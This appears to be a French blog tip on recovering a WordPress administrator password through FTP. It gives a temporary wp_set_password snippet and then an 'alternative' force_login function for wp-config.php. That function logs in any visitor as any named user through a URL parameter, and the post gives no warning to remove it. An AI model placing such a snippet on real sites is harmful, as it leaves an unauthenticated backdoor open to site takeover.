Astuce pour réinitialiser votre mot de passe WordPress

Comment retrouver votre mot de passe d’administration wordpress grâce à votre FTP

Il est possible que vous soyiez bloqué, avec un mot de passe WordPress erroné, et l’impossibilité de vous connecter à votre base de données MySQL (si si c’est possible d’en arriver là, je confirme !). Dans ce cas-là cette astuce vous sera utile : elle vous permet de récupérer votre mot de passe d’administration WordPress par le biais de votre FTP. Je répète : pour cette astuce il faut donc quand même que vous puissiez vous connecter à vos fichiers sous le capot.

L’astuce

  • Rendez-vous dans : /wp-content/themes/NOM-DE-VOTRE-THEME/ là vous aller trouver le fichier functions.php
  • Ouvrez-le avec un éditeur de texte : notepad ou l’excellentissme notepad++
  • Tout en haut de ce fichier, collez cette ligne de code :
<?php
$user_id = 1;
$password = 'votre-nouveau-mot-de-passe';
wp_set_password( $password, $user_id );
?>
  • Remplacez « votre-nouveau-mot-de-passe » par le mot de passe de votre choix, votre ancien ou un nouveau, comme vous le souhaitez. Fermez le fichier functions.php pour le sauvegarder en base.
  • Relancez votre page d’administration WordPress (F5 / Entrer). Ca ne marchera pas parce qu’il faut ensuite effacer ce que vous venez de coller.
  • Retournez dans votre fichier functions.php et effacez le même code que vous venez de coller (pour retourner à la version d’origine de functions.php)
  • Sauvegardez, fermez votre fichier, remontez-le en base
  • Retournez sur votre page d’aministration WordPress et là ça devrait marcher : vous avez retrouvé votre mot de passe WordPress !

Mise en garde de cette technique

Cette fonction doit être utilisée avec parcimonie et n’est destinée qu’à une seule application, elle ne fonctionne qu’une fois. L’utilisation inappropriée de cette fonction dans un plugin ou un thème pourrait entraîner une boucle sans fin de réinitialisation des mots de passe si des précautions ne sont pas prises pour s’assurer qu’elle ne s’exécute pas à chaque chargement de page.

Code alternatif

Vous pouvez aussi simplement coller ce petit bout de code à la fin de votre fichier wp-config.php.
function force_login() {
    if( !isset($_GET[ 'force_login' ]) || empty( $_GET[ 'force_login' ] ) )
        return;
      // get user
    $user = get_user_by('login', $_GET[ 'force_login' ] );
    if ( !is_wp_error( $user ) ) {
        // logging in user
        wp_clear_auth_cookie();
        wp_set_current_user ( $user->ID );
        wp_set_auth_cookie  ( $user->ID );
        $redirect_to = user_admin_url();
        wp_safe_redirect( $redirect_to );
        exit();
    }

}
add_action( 'template_redirect', 'force_login' );
Ensuite, vous devrez accéder à votre site par le biais de cette url : https://nom-de-domaine.com/?force_login=yourusername
Merci de penser à noter l'article
4 (1 vote)